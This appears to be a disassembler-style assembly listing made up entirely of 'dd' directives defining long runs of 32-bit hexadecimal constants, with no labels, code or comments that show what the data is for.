		dd 46AD90D9h, 854239E2h, 825501F9h, 0BE0D48C0h,	0C8C07F68h
		dd 12CC4D0h, 14FE0343h,	807F239Eh, 77358940h, 6EFA34h
		dd 0A8CF6682h, 406B1420h, 67A580C0h, 0DEE424h, 683B5D27h
		dd 0E523DC28h, 6F9FC300h, 0EF21909Bh, 84A60066h, 0E6E4CE82h
		dd 0DD5097FBh, 337C6E9Dh, 42CBDA00h, 0FA4D8D95h, 1ABB0CC6h
		dd 9EC0077Bh, 3044F201h, 0C5029FA1h, 76095CE8h,	0AB4B3A7Dh
		dd 0E6643380h, 0E8FED20Eh, 34415B00h, 2D453855h, 9D273C61h
		dd 6283EF02h, 20806BB4h, 90AE6A5Dh, 0B0C8D700h,	0F9888DD8h
		dd 0E0F2545Fh, 0C13200E1h, 83FF1C44h, 38053D1Dh, 0B11B9762h
		dd 0C810C02Fh, 4D74C012h, 96C352h, 2679B3D3h, 0F69AE35Eh
		dd 8EC03767h, 3FEE013Bh, 4080F066h, 968A56C5h, 0EF003707h
		dd 0A4B49F75h, 5DC13D2h, 5CD8CAA5h, 7EA0074Eh, 0FCC70E6h
		dd 0FB00D143h, 89647927h, 175AEA8h, 5F60B799h, 43838B25h
		dd 26B11AC0h, 63F6F8FFh, 0D8C8EC00h, 21AF49E8h,	0FDD1072Ah
		dd 8B8D796h, 30585480h,	1E29E96Ah, 45DDE8E2h, 40F55C41h
		dd 0CC75A4E0h, 0B5003513h, 69BC586Ch, 1F399A4Dh, 306563E5h
		dd 518E61C0h, 0C5A6850Ch, 0A604064h, 6E374267h,	6AC40280h
		dd 0DC0AA8Bh, 0D7FC5A78h, 522F4300h, 25F3B51Ch,	56D80EFCh
		dd 0C4E07083h, 9DFE2E24h
		dd 0E6EE8703h, 802BE11Ah, 9E3EAEh, 0C37FF672h, 30541195h
		dd 0F08E0400h, 2575C0FCh, 0FFF30773h, 0A2AFB4h,	0C193F3Eh
		dd 7839CC73h, 70CB00CDh, 0E415AA6Ch, 1C27A45h, 687D9538h
		dd 20E9668Ch, 4A0FFD20h, 612F5BC3h, 67B663CCh, 1EED6030h
		dd 80015A60h, 34357B51h, 0DFE87A29h, 0F4206D60h, 0ED5D38h
		dd 9312E737h, 0A7BF6B83h, 2394434Ch, 84D61E4Bh,	62DA0F15h
		dd 0CE28227Fh, 0F32A7B60h, 912FFB04h, 0E0D037BFh, 0BB84EFDh
		dd 0F535BCF8h, 3A835F8Fh, 21003626h, 0DBAD133Bh, 2CC42110h
		dd 9100289Ah, 1B5D008Dh, 0B9F6ABADh, 0CA023E89h, 26DEA800h
		dd 8C1854Eh, 43FC3606h,	7C30BF4Ah, 0F3ED00C4h, 8683D4B3h
		dd 9F20209Bh, 0F6A815CFh, 0A85F906Eh, 0AB3CB2h,	21130CCAh
		dd 88C197h, 0D626866Ah,	961F72B6h, 0CB6D20C2h, 1EBD4282h
		dd 923E2320h, 334D0105h, 0AD107420h, 8C29E6D2h,	0F46744h
		dd 9B5EAD27h, 9129BE7Ah, 3CC019C0h, 0E2760Dh, 473133DBh
		dd 0BC45D13Dh, 5A5DF70Fh, 61DA0009h, 5D52B4Fh, 100D1F4Eh
		dd 16489083h, 0E9FAF36Ah, 0C3762600h, 0F6C6D96Fh, 4A9A2425h
		dd 914D8004h, 1011CDFEh, 54AA59h, 7593B269h, 7AEAD448h
		dd 304100F1h, 3CAAD758h, 9C031EF7h, 0B58E6C44h,	0AC491ADCh
		dd 7805153h, 9AF7E8E0h,	0DC823638h, 0AA3406C2h,	6D84AEAh
		dd 0C392AB8Eh, 0F6F0303Eh, 8C4E9900h, 932D1896h, 14790702h
		dd 0B039BC62h, 0B7E45F16h, 9615663h, 0EB4B90BFh, 53E805B5h
		dd 871E5520h, 0CB3740CCh, 7101BC5Fh, 0E508D4B2h, 5C80ED07h
		dd 0A92FE8C5h, 0BC90F3D7h, 0CF004D76h, 0E9D729Ah, 0A4B0DA36h
		dd 0BB6019Ch, 6CB2BE41h, 0A990402Dh, 0D007E72Ah, 1A888583h
		dd 0F690B620h, 0C68F0579h, 80EAEC9Dh, 47656EF8h, 0C26A2003h
		dd 15A97AE4h, 0E88B2450h, 0D500743Dh, 0CB92FD9Ah, 0ACEE3BC4h
		dd 1026BA7Ch, 0D71553EEh, 0DF0078A8h, 62A9F617h, 66ABD2Eh
		dd 257036F1h, 870060C1h, 339AE241h, 2EC493h, 5518660Ah
		dd 4B94C8A1h, 0AE403500h, 15DB4499h, 0CFA43E8Eh, 72AAAD03h
		dd 870ACBBh, 10A75430h,	176DC4h, 8CB8913h, 0E0D1EF1Fh
		dd 0DE49410Eh, 32750077h, 3A9A12CEh, 2864DD45h,	693A21F4h
		dd 9010A112h, 27848B5Bh, 0BD440DE4h, 5FE24435h,	58420C48h
		dd 51292642h, 518DE503h, 885516FBh, 62264h, 8B6920FEh
		dd 0CF05FACCh, 0D8005270h, 290B30AEh, 0EC3698h,	0DCE1B224h
		dd 142DEA8Ch, 0AF400307h, 5D2086EFh, 3C5891Dh, 3CB145C0h
		dd 19B8EE68h, 601A428h,	5D9C1207h, 5EC4AF52h, 0FF22261Bh
		dd 359700D8h, 488908ACh, 5F34EF00h, 9AF44288h, 0B64500B9h
		dd 7665156Dh, 10C0BC13h, 19038060h, 0C3A03F88h,	0C04A54FAh
		dd 78E40032h, 17EEB201h, 2700A588h, 0F79C2555h,	0BB1830h
		dd 949DA61Ch, 6F954A7Ch, 8807427Ah, 0EE67A472h,	7B889F0h
		dd 0F1E02F9Fh, 570A1EF6h, 4187F0D8h, 9DE1BFD2h,	97F4A1F9h
		dd 44791C72h, 0B42B41F2h, 20A7DF05h, 0BF1F127Dh, 0D6C0D00Bh
		dd 0F8ACD8D3h, 0E723052Fh, 8028FB95h, 0D14AF079h, 0ECB8F4A3h
		dd 82FEB27Ch, 0D847D00h, 19B64306h, 0DD160222h,	0B02F61AAh
		dd 0AE521C60h, 83CB3B00h, 0A8F37DE5h, 7EB9F29Fh, 33B80030h
		dd 1CBC1E2Ah, 4490A56Ah, 0E28E6B00h, 302928B0h,	0CA77001Ah
		dd 0DF5D0395h, 0B003FE1h, 0FF752C24h, 3AD45EAh,	0E789540Fh
		dd 30DFA1C8h, 0A03E2640h, 0E37E591Fh, 971B9885h, 0BCC9F400h
		dd 4452861h, 0EFD31447h, 2D528290h, 62DF8080h, 6B1D26C2h
		dd 3BFF0CDEh, 0BF590AF3h, 0A20068DCh, 84B60D27h, 1D0EA0Fh
		dd 9EC458C0h, 0DC17383Eh, 89001893h, 0D9D487D2h, 0A81DFCFh
		dd 0BCF4B1ECh, 0DB1F08C8h, 40C40B60h, 0CEC80007h, 4147F4EAh
		dd 600C731h, 792E9C4Dh,	3A0356h, 0D1CCCEC9h, 0DCF4416Dh
		dd 0A66BD900h, 50643CA8h, 2A6A00ECh, 5622C932h,	0EA0CF286h
		dd 580B706Fh, 0A22B005Ah, 0DE683A9Bh, 5E020C82h, 604985C9h
		dd 1630400Bh, 0F9D23DFBh, 1B782080h, 7CD681EDh,	2C676B0Fh
		dd 0E8EF6545h, 1C5EB603h, 262C60C7h, 7B66C68h, 0BEF45300h
		dd 6314B1B8h, 0A0470010h, 6BA18372h, 0EE005F22h, 2D02E003h
		dd 0D98A25h, 0F1EB47C9h, 1DD3F21Ch, 40196400h, 84433324h
		dd 3CF788Dh, 0F46A3D94h, 41A8F25Ah, 790026E3h, 0B2201217h
		dd 31FA24h, 973361DDh, 65518FCEh, 1AB74003h, 0D884AA03h
		dd 30F0D4EDh, 481870E8h, 2BB02B7Ah, 3F064100h, 528E3B85h
		dd 529065h, 1BACAA6Eh, 5C687523h, 3B617D00h, 0C514A1B7h
		dd 5FB03E3Ah, 6EE6A80h,	0E6AB172Eh, 9DD439h, 61046C01h
		dd 0FCBE3CAh, 8155937Ch, 0CE10C7ACh, 632EB903h,	0E0736162h
		dd 3DF996C8h, 0E180917Fh, 1A52DEA3h, 11287E30h,	89EA9443h
		dd 0CE4C7D00h, 0D03ABA49h, 0D6C00744h, 70B5B10Eh, 6C23D5F8h
		dd 4FCD7900h, 1E5E7E1Fh, 72571C3h, 14DFC403h, 42F50CEh
		dd 0BE18D127h, 0E458D44Dh, 3E9900CBh, 13787033h, 4F3B1E08h
		dd 0BD9480FEh, 1F8798CFh, 20850037h, 590C102h, 0CCFC9CC4h
		dd 0BFEB50C0h, 12BA4DFDh, 0FB990239h, 96326500h, 846A4Ch
		dd 0A295D1C7h, 6B1CB589h, 0D379C900h, 40AA1E06h, 32984Fh
		dd 0FEF1050Bh, 98A7D2FAh, 13077F7Ch, 6A70DF4Ch,	609F48C2h
		dd 1412A17h, 0D8B65199h, 0C4A88B15h, 591B79C2h,	0E858E344h
		dd 0F2C89Ah, 6B8FC41Eh,	0DA87C3CAh, 0D7243200h,	0CD564036h
		dd 0DC050747h, 8F2F04FCh, 35199EC0h, 100C520h, 7F6F3865h
		dd 0D7FF42h, 3914362Fh,	70C793F8h, 0A58FAE0Fh, 0B869C061h
		dd 252780Bh, 29D0734Eh,	344AB97Dh, 0DE45BE60h, 24C0AD00h
		dd 0FA5A3601h, 0C3FE013Fh, 0A93258D2h, 9177FCD8h, 8A1E3977h
		dd 722C6223h, 5AD40300h, 1CBE29Dh, 5D5B6A68h, 80634183h
		dd 0CD78C520h, 46A00Eh,	99219ABDh, 7D4D4504h, 0EC4A9700h
		dd 0A289E718h, 28433D86h, 0E530808Eh, 0DF7A2360h, 0F024393Dh
		dd 0D782B84Ch, 4365FB18h, 4E1EB898h, 25760Dh, 0D6303D34h
		dd 27B554A7h, 7478F00h,	94041FAEh, 7010308Ch, 6C15F7A0h
		dd 47DA9F00h, 33E8C3E6h, 50666724h, 0C1200082h,	4C38EAB1h
		dd 8000FB7Ah, 40638F6Ch, 481A04E3h, 0DE48B316h,	251BA302h
		dd 81C89934h, 0CC007C0Ah, 1333539Bh, 0DEC9C4h, 0F597A4F6h
		dd 0EBACD1F3h, 6684DF00h, 2F1B1862h, 0C0350044h, 33C9A7A1h
		dd 100FC39h, 569C3F58h,	0C2EA85h, 1B48FA9Ah, 0CD20B9AAh
		dd 8E17B26h, 0FA8CA14h,	0A39E8341h, 0B83AD6BFh,	28CBE5h
		dd 0E9A24BA9h, 3EF8CA55h, 0C8D76E3Ah, 865A017Ch, 7AA8AFF0h
		dd 6C00D93Ch, 83A5C21Dh, 0A09806F1h, 0F6D9DD00h, 0E452D470h
		dd 248B0C0Eh, 0B6A815C5h, 0F4C83A00h, 36AE492Dh, 0EA352467h
		dd 0B9D2001Ch, 0D012534h, 57C82200h, 14CE8B60h,	7492EE96h
		dd 4B770059h, 3AF32F42h, 9C005B15h, 413CE24h, 67C76Ch
		dd 49EC1D77h, 0FA7EED9Ah, 0C897071Fh, 9F6B7F80h, 2A32BC3h
		dd 0EFE99B6h, 50607819h, 20004D31h, 0B0B98BA8h,	1C5CBFC8h
		dd 28EFACA4h, 0ADEE04B0h, 81278346h, 346D429Ch,	510C3C7Ch
		dd 0A856CC8Eh, 0B90A032Ah, 6E46F038h, 3405DAC1h, 5D73F4ACh
		dd 9AB7ED00h, 0A133E1A0h, 47411C66h, 0B90B0160h, 0CC14DAFCh
		dd 0A8ECCC65h, 69065803h, 63CB284h, 7E8BC086h, 0C2F8B11Bh
		dd 0F7280C90h, 663BE495h, 8FF98C6Dh, 722D1094h,	0D42F0004h
		dd 0A8FAC43Ch, 8101801Ch
		dd 0B3A2C0F2h, 99C0DA40h, 0B17008Ch, 0C2C9E43h,	0FC06EFE2h
		dd 78FA4CCDh, 0D14E1F48h, 4F7C491Bh, 19B89786h,	2B061F00h
		dd 0E63EC4A1h, 21980990h, 0EC007C27h, 0AA72E210h, 0E1AE5100h
		dd 6DB26095h, 0DE860338h, 0A607593Eh, 13E22800h, 0B56B5A42h
		dd 0D23C00FBh, 8C78356Dh, 0D8E0F394h, 3733EF00h, 0F09F6675h
		dd 6C860F64h, 0D60901B3h, 0FB084409h, 26C08FC4h, 6200ACB4h
		dd 72DEEA48h, 5C0F25A2h, 38A09208h, 13FF5DE4h, 321821h
		dd 388968E5h, 0E100FE10h, 3B0DBCFCh, 0F423DECh,	597D03Ch
		dd 8B612C41h, 0B5BC3089h, 102FBE30h, 0F4EBF59Ch, 33500A9h
		dd 57342865h, 0AA01ED7Dh, 0D75B76A3h, 14301E9Dh, 69BC0072h
		dd 0A811D22Ch, 45037D6Dh, 3BC1F54Fh, 0D74390DFh, 0E4FA0042h
		dd 7B3DB159h, 0F11FEC72h, 802CAD19h, 60B6B40Eh,	0FAFC7E71h
		dd 0E6FF0064h, 0B1B280F0h, 94003606h, 0D857C6C8h, 1E072388h
		dd 401D7968h, 0B5135E70h, 0FD0E3318h, 5E0AA60Dh, 134EEC3h
		dd 5180DC62h, 2689343h,	0AB28185Dh, 0F0808390h,	3237A9FCh
		dd 0B60F5F14h, 34D61DACh, 17ACDF00h, 60947B57h,	535B18B0h
		dd 1B00BCEAh, 7A4B7E87h, 0B43ADA5h, 2EDCCEE4h, 80075480h
		dd 1102526Bh, 8F2AF282h, 0A59840A9h, 2167EE4h, 0B2D929F6h
		dd 24E82EAFh, 91E878Ah,	74A7681h, 51148447h, 0C7400EC4h
		dd 0AE84217Ch, 0E820E0E9h, 0ADCE0394h, 0BC17214Dh, 0C951A2F8h
		dd 0F563100Eh, 48D440DAh, 0D0185Eh, 38065BEEh, 514DCA5Ch
		dd 2A712909h, 0E56CA005h, 7B9D27h, 0FF3EDC3h, 0C1D90D8Ah
		dd 157C34FAh, 8B96473Ah, 0A0DE6A6Dh, 9EB43DA8h,	91AE604Fh
		dd 0EBF49AD6h, 0D2058C7Bh, 5478D9C6h, 8DA13F80h, 9974001Bh
		dd 0E37CD1BFh, 2026C047h, 0EB003006h, 4ADE6BB3h, 985CFC13h
		dd 96472B0h, 0D3876F58h, 0B3C630A0h, 0D79F3C8h,	0EBA54901h
		dd 0BC079AD1h, 182A2130h, 56998A3Bh, 0E8006373h, 0DE7933E4h
		dd 0CD82EDh, 6C3592E7h,	8C830DF4h, 6A54B400h, 4315203Ch
		dd 0B861ECAh, 0B22B4344h, 0C2B0075Eh, 18005F10h, 0F783D2F3h
		dd 0B8517Eh, 97E03BEDh,	0AF44B553h, 90FA4Ch, 8D6DC638h
		dd 542F0A70h, 0F65190DCh, 9C733C6Fh, 0FBBD1806h, 46021885h
		dd 0FDC5E13Fh, 1B9C8086h, 8DC0C7Eh, 0C4212B01h,	0A3759E3Dh
		dd 811312C0h, 404E87DFh, 5208B7Fh, 0A104381Bh, 8084F2A9h
		dd 95C08153h, 517849B7h, 190028F4h, 0D8D6A821h,	0E424A26h
		dd 674354BAh, 93D2CEA0h, 0BD38E717h, 8235AED1h,	0FC009517h
		dd 48B04331h, 84C33C9Ah, 0C5AEC000h, 38727434h,	71FDD400h
		dd 0EF2822A9h, 2BB518ADh, 5D7728FAh, 827A8913h,	6819900h
		dd 5F51BCEh, 1F301A68h,	3980273h, 6C5088E1h, 3C978D00h
		dd 34656B6Eh, 5F9200A0h, 83D6E229h, 9007CC7Dh, 44D00130h
		dd 69789D51h, 0A8240C0h, 628FD1C7h, 3AF50085h, 0DE26B1D5h
		dd 7B06C4F0h, 22DA8A63h, 1AA70038h, 76CDAD39h, 4918049Fh
		dd 7188359Ch, 0F978014Ch, 40BCE888h, 59D3F0DFh,	4D4D450h
		dd 8050013Dh, 3D833914h, 3295E8Ah, 1B30EBE8h, 0ABEBA0C5h
		dd 602F7AA9h, 0DF07F5B8h, 9573E34Dh, 0E0AD4BA2h, 1E10BC2h
		dd 92B1A6F1h, 0C476FA1Fh, 454DA37Bh, 3D4F0014h,	14A299BEh
		dd 0CA5601E5h, 0AF841002h, 62CC20C9h, 4869FF00h, 55D0CD51h
		dd 3F060440h, 0A03BAEFAh, 95002158h, 8D02BF56h,	3A84C77h
		dd 7E2CB20Dh, 0C29A645Eh, 9A567FC0h, 6EE40505h,	38C0E99Dh
		dd 0ECCB21Ah, 0EB7BCF24h, 0C866DF60h, 16FE53A0h, 54D258h
		dd 4D69FE70h, 12901EC4h, 0D39E78F0h, 25983C7Ch,	0AFA0AAC8h
		dd 0B007A58Fh, 9FC0805Ah, 40583EC2h, 1BC84DCh, 998DF7EFh
		dd 0ED72FA95h, 6C20C0A0h, 3A0032EEh, 0EB7750CDh, 79B428D8h
		dd 949900C7h, 53A55968h, 0A892B702h, 23BBD500h,	0C75DC26Dh
		dd 6AF00078h, 2008E136h, 0DFA4094h, 0DC09D89Ah,	20112CABh
		dd 0B8716EB8h, 87E3050Ch, 80495440h, 0F93B264h,	5CD97200h
		dd 3344D5A5h, 9AF20DA7h, 2410A64Dh, 0FE0F3A04h,	2404A1F7h
		dd 1C80307Eh, 0D1C3C6h,	0B3B43CE1h, 61335C13h, 8E6F553Eh
		dd 6CE88DDh, 3E0C167h, 4597EBC4h, 1000EF5Fh, 0A9603969h
		dd 2E8C86Eh, 3F64C470h,	0BC407AF0h, 8EED222h, 0F64Eh, 3601258Fh
		dd 77661D95h, 0B9C91433h, 1F490D04h, 0BB3C804Ah, 201A6F8h
		dd 0E6A17150h, 6BE4D0B1h, 0F55B00C0h, 0F989FE66h, 6914366Fh
		dd 4ECBD31h, 3574E747h,	0CB91480h, 0ACBA95h, 0B3ED6C6Bh
		dd 1EF09470h, 1A16021Dh, 0F98B3780h, 1BDC06h, 97B3AC9Eh
		dd 7D5B88BEh, 88DF0A73h, 0FBDC811Ch, 0E3D38201h, 7FC8E6CBh
		dd 12F000D4h, 81ADB1C0h, 9F003349h, 5FB708C6h, 945017h
		dd 8ECE2607h, 8B65D196h, 47A4F800h, 0CBEEA764h,	6385046Ch
		dd 870194C9h, 8A3F70F7h, 0F800A408h, 5B71FF0Eh,	0B6D3BAh
		dd 0A5B8452Eh, 0E6E1F184h, 0F9E77500h, 1FF0E577h, 1A6F0062h
		dd 23B77A3Fh, 0FF025347h, 5AD40466h, 0FBC5840h,	0EC6A9681h
		dd 4615EB60h, 840021ACh, 719E67B3h, 0D85F19h, 0F3411F4Fh
		dd 10D41DCEh, 6CCC0701h, 6E18A88Fh, 1E2B7C30h, 50AD9B5Ah
		dd 0B8C81594h, 24AC11E8h, 5E01584Ch, 5473394Ah,	9C40F8B7h
		dd 5AA54400h, 89AEBC33h, 560909Fh, 8507ABCFh, 7A85C0C6h
		dd 3A00D28Fh, 316C4741h, 0F6513D04h, 9838000Bh,	11FB58C8h
		dd 70FCEF80h, 40C2B351h, 0F87EAEDFh, 0D3865400h, 0E05B416Bh
		dd 909861h, 0D4479836h,	0BC6DCBF9h, 9680F48h, 874E9EE5h
		dd 8EE04F6Ah, 319B71h, 99D18B3Bh, 37951F2Bh, 7DA7BA00h
		dd 25822E2Ah, 608507CEh, 60AEE07Bh, 0A593965Dh,	0A312FC0Fh
		dd 0BD356275h, 0E758F0h, 0C3FEEB2Eh, 41332772h,	53025400h
		dd 44D9FC0Dh, 0BF3600D6h, 870B7E68h, 601ECD95h,	80FC169Dh
		dd 0D8D0C409h, 1B466BBh, 0FF04536Dh, 422D6122h,	1C4065A1h
		dd 5500E6B2h, 0F6270824h, 8AECEAh, 797B8252h, 5F6BFF96h
		dd 0C900A77Dh, 0F8D6E767h, 4B9201h, 0FEC6092Ah,	5333EFA9h
		dd 145B1500h, 59695221h, 4DD01DEEh, 13E600A8h, 4CA9CE4Eh
		dd 4347150Fh, 2A29DAh, 6DABD86Dh, 96A800C8h, 50EB4E4Fh
		dd 6A0053FEh, 0D5E5A745h, 0F6EC9FC7h, 0CF5E7728h, 61E0D928h
		dd 863A60BEh, 0B637EE00h, 0B87F1BF0h, 0E93100DFh, 342E1172h
		dd 8000A368h, 0B347DCA6h, 0F0EF18FCh, 0ACEE0028h, 8EF171BBh
		dd 0FA0149D4h, 8B267E77h, 2630E197h, 0C47F3Dh, 0AA375A73h
		dd 0F33A5B2Eh, 5FF84E17h, 2B2D7C00h, 12FD1879h,	5DA1B9h
		dd 6658381Bh, 98007D03h, 652E126Eh, 48527401h, 147E4BC0h
		dd 0F4924BDEh, 79ABB90Eh, 91C32E20h, 1E00F682h,	0FBB79F0Eh
		dd 0E55DEDh, 0BFC7D696h, 2953C1CFh, 6F983000h, 5D750A8Bh
		dd 60A60073h, 24834FB7h, 0DB075E15h, 77A4B444h,	8C4AFCD0h
		dd 7137638Bh, 26A0FDADh, 8E0C86CFh, 187C9D7Dh, 77BD008Dh
		dd 0DDC48B75h, 31C939E4h, 2F7D8657h, 8406031h, 0C0E8AC8h
		dd 7493B900h, 1EB87BE1h, 140F90C5h, 0D1D70A96h,	7151CD00h
		dd 820EC968h, 8E008B7Bh, 76757D81h, 0A84DF729h,	6F84E180h
		dd 4000A8B1h, 64E586C7h, 0ACC03601h, 1CE22211h,	24E1042h
		dd 20A12894h, 0DC5E34A9h, 770015BFh, 0CB0CED8h,	3A97BE94h
		dd 3800F9BAh, 9070FB85h, 0B607EC7Eh, 0A0F2614Dh, 93A6E960h
		dd 0BC22008Ah, 8C3A5F7Fh, 0E2005030h, 18D8C16Ah, 75AE0440h
		dd 5010E7Bh
		dd 0A7E01787h, 75D44315h, 1BE1F500h, 0F37F9277h, 600B07B9h
		dd 0C0BBA8D3h, 0BECB83A3h, 0FE5ABD00h, 828CC5ECh, 74990A50h
		dd 83B04B61h, 0BB35BAE3h, 0F300E178h, 8FAF7D25h, 1A33909h
		dd 1A41E8BDh, 0F47875F5h, 93006E69h, 3C9A38ABh,	1DAA144h
		dd 8835F8C5h, 7046AC87h, 61F85008h, 4E4A90A9h, 556D8204h
		dd 321C4061h, 42580046h, 0B15D7B67h, 7D70EFC3h,	0A60F4DB8h
		dd 21E43F6Dh, 0EA412A40h, 0E12811D3h, 974508B2h, 0E63308EEh
		dd 5154AD8Ch, 0E4B344C5h, 8457F844h, 2953E831h,	4711B469h
		dd 830B12C7h, 30F05828h, 0C7510D79h, 4700B151h,	0B9DC2FA6h
		dd 17A1895h, 0C49B7399h, 6033A73Fh, 0CD01049Eh,	0A2C1DEE6h
		dd 6A436B8h, 8DC300D0h,	0A4DB08CBh, 1CE35026h, 0FC3B08h
		dd 8BEAD3C4h, 0AB183193h, 92187B4Ch, 86AF1E20h,	0DCC83ADEh
		dd 59978000h, 0C4444856h, 6FF71A00h, 63B5724h, 3627A21h
		dd 500AC797h, 99B864C1h, 0A400A7D1h, 54A94AFFh,	0C9F4E6h
		dd 4409B62Dh, 0C1B05BDAh, 26EF3B13h, 0BA559430h, 0D6CB0397h
		dd 47B4711Dh, 0B8191000h, 0F63C0E7Ch, 5B393C6Ah, 0C4E4600Eh
		dd 3A929300h, 0D1F4E97h, 817A0F36h, 81B28C6Fh, 0D31ECCBh
		dd 0FB4CF8h, 6754A89Eh,	62747559h, 693E0101h, 0D716CA32h
		dd 4412F8h, 182DBEB9h, 4381FD2Ah, 0ABFE4271h, 653BB20Ch
		dd 312045h, 0F2AAB4F9h,	8F66E070h, 95038800h, 58A1E7C3h
		dd 312700BAh, 0DA4543EFh, 901CAAD3h, 0D24183F8h, 9C5A89F7h
		dd 4D43A70h, 2926BB08h,	0A75480DDh, 6009EE8h, 725AADEFh
		dd 4899D7F9h, 0BD00A7F8h, 56B9F1EBh, 0DA014C16h, 36134C9h
		dd 6FFCB0FCh, 8F0A00EFh, 93E2C504h, 0E800441Ch,	0A91106DEh
		dd 2CB99C96h, 6070BAD1h, 8AAE36EEh, 2F463000h, 0BE1323CAh
		dd 541B0145h, 77E028E5h, 4221CC99h, 0E1CC9600h,	0CAF43336h
		dd 0D1020F6Ah, 0A600673Eh, 0E424C8DBh, 5B1AE02h, 0C86E9D66h
		dd 223FEF4h, 1783F033h,	4168A812h, 3800DF3Eh, 0A3C14BA6h
		dd 0CFE35E66h, 43E08E10h, 306C33Dh, 99E034F8h, 813C48DCh
		dd 332A3683h, 5DCB7D0h,	0B7C0018h, 9F7A1E23h, 0A300DFC7h
		dd 9A4CB43h, 0CF296Bh, 7FF9B120h, 5E31E00Dh, 0A2A6240Ah
		dd 5B00E08Dh, 0E6C18ADEh, 0FB8300C5h, 50F3B0B3h, 2D051E88h
		dd 66CC38BFh, 3D9A1CC0h, 8F2A0042h, 0A43C3E52h,	0F8C0793Bh
		dd 49DD04C7h, 57400F8Ah, 3860E3CEh, 8D61C72h, 42973B00h
		dd 0D3B21E81h, 0FEDE0039h, 0A6D94928h, 0AE1FD28Ch, 8D40F626h
		dd 7A2367B2h, 86F100F4h, 0D5D9650Ch, 0D2CB7ABh,	0B38074FDh
		dd 5D3A6C94h, 234600AAh, 4C85C343h, 973E2FA7h, 0B2B600EFh
		dd 0B5C77819h, 0EE5100D0h, 23AFAC67h, 7D0056BCh, 5FCEC118h
		dd 12FCFD91h, 9AACAh, 0E4CC80Ch, 0D012DFBBh, 601C8DC0h
		dd 3C316287h, 1FDD3C0h,	543B0047h, 0AFCF21DDh, 130AB173h
		dd 0DCE288C4h, 23601000h, 3ABA053Ch, 6800BFC3h,	416E4AF1h
		dd 37062C96h, 6D63448Eh, 0D4C90010h, 0D0178035h, 7B09BABBh
		dd 0A023323Eh, 0F8F78D4h, 9CF8387Dh, 11C89980h,	32DDB2C3h
		dd 9752D63Fh, 0B8005957h, 148D6F88h, 0CD5A00AAh, 0B124FB4Dh
		dd 950070C0h, 0F9988467h, 35EDDD8h, 295C2A32h, 35E90EA2h
		dd 47888079h, 2B4AC9B0h, 0A3FF0045h, 5ACA974Fh,	0D300EF10h
		dd 0FCC46FB8h, 0A7175h,	0FF21B642h, 0FEDAE64Eh,	2B6D100Fh
		dd 2A7300A0h, 73EB48Ch,	0C8139BB9h, 0F5EEF0F1h,	42000481h
		dd 0A5B0990h, 7D5D3CFh,	7B9F5734h, 4719E1E0h, 0F080FA05h
		dd 77ED1C5Ah, 29789400h, 6A7E13Eh, 1F0E0046h, 3DFF470Ah
		dd 590518CCh, 4B69D494h, 0F089C5C0h, 0FD90A3h, 77D85476h
		dd 62561AC5h, 0D478CA00h, 459C66BBh, 6FE3DACh, 0F80D881h
		dd 6037D33Bh, 3A006F75h, 0ABB414D5h, 269A9DBEh,	16784489h
		dd 91300397h, 1CC354E4h, 0CA5B37E8h, 499EBC91h,	40C57FC0h
		dd 1F4C9E0h, 0CAE6B4DDh, 0D4934EFAh, 5E600227h,	0D3246111h
		dd 0C78E18C8h, 29E66013h, 8BA91600h, 2BC2DC66h,	0CC2748F3h
		dd 44E9C100h, 0B4CEE69Ch, 0C696A700h, 43BB4133h, 1B6C009Bh
		dd 0D6B64C9Dh, 0FA3A2D3Eh, 0B1E50381h, 0B86DA7DFh, 4311553h
		dd 3245F265h, 7021C713h, 2AD0CBCAh, 19231D0Bh, 0BF0880DBh
		dd 94DCF8h, 7784463Eh, 3AA8FF6Eh, 0EE44B25h, 98B8C0C8h
		dd 6FFE1Ch, 0A1599938h,	0CACEDA2Ah, 720FA4B2h, 0E0B3937Ah
		dd 169F0C94h, 34A604FEh, 80867BEDh, 0A367BD64h,	0CA588C0Eh
		dd 0A95187C8h, 6B22BC0h, 73A50030h, 66A6CC1Ah, 3900AE5Fh
		dd 0E04246B6h, 13132EA1h, 0D59132h, 0FA52D27Eh,	552E4377h
		dd 0B58268DAh, 40A8E22Ch, 0E4465C9Ch, 3BB8A0CBh, 7183794Ch
		dd 20EC00E5h, 1EB062F6h, 530C4863h, 28CC2584h, 0A3B61CC3h
		dd 0A9440090h, 8559DA43h, 7D791803h, 0C8EB1178h, 62BB17h
		dd 7CAB681Fh, 0AA987F6Ah, 29F08200h, 5D1080B9h,	66A0078Ch
		dd 517B43CFh, 0D4981E48h, 72000BDBh, 0FD606A9Ch, 0B087E9D7h
		dd 378200F3h, 666E8B7Eh, 0E9985E41h, 0CFF12E00h, 0AE8EE06Ch
		dd 905DF47Ch, 319E008Ch, 0CDE1D3D1h, 7300CBDCh,	0F1C02A81h
		dd 3BAB6E2Fh, 8780E73Eh, 0ECA87EDEh, 927490D0h,	77F2BD12h
		dd 4C41C000h, 4C95309h,	3FCF9D3Ah, 108C80CDh, 74901E1h
		dd 69409D68h, 125A4015h, 0FD84F0Dh, 0A3A02E38h,	0D5C120C9h
		dd 21268600h, 7ACD6803h, 0FC760043h, 0E1E5A8E3h, 624DE684h
		dd 7D670ED8h, 0D4F40Ah,	0F9CDAD9h, 98E7F4h, 22183580h
		dd 6AA03EAFh, 0BBBC332Ch, 59507500h, 90B51E6Ch,	0DF66007Ch
		dd 6B6AE4BAh, 0F0004ADDh, 0A6820F88h, 0EF2E01h,	73FBFA74h
		dd 6D65771Ch, 0D2818F0Bh, 5770008Eh, 0B1B893h, 1CAA0B4Bh
		dd 0F46B96E4h, 8BB7FB00h, 90C44E98h, 0B52B0B8Eh, 5080DFE1h
		dd 2252F2ECh, 7A4D14C1h, 80418124h, 0D2FC1592h,	68BF0033h
		dd 93F11908h, 0C6073857h, 868EA598h, 0DA487BB0h, 6844012Dh
		dd 20AD971Fh, 4FD6E0F2h, 1921A212h, 783774C0h, 0B897706Fh
		dd 82A107BCh, 0F12768A7h, 0F45C7673h, 6033589h,	84920AE1h
		dd 3F8CE06Bh, 80600372h, 96341A9Bh, 130CA9B8h, 36F09907h
		dd 8CA1A85Bh, 0C0F0EB4Ah, 924B0A35h, 8BB427A3h,	0E80FAE2h
		dd 0A4D0B0DAh, 35290C00h, 0ACAD8C97h, 6E991F7Ch, 70198011h
		dd 93BC3818h, 506AB63Ah, 0F07221C2h, 43C73B00h,	59EF5130h
		dd 7F220061h, 0DA9F17E8h, 8B004EBBh, 811C71F1h,	7AD04110h
		dd 371D00E2h, 0EE0835AEh, 5A071602h, 94DA19D6h,	93899140h
		dd 0BD130066h, 0D2EDB40Eh, 61120D63h, 0F0418FE0h, 3C34041Fh
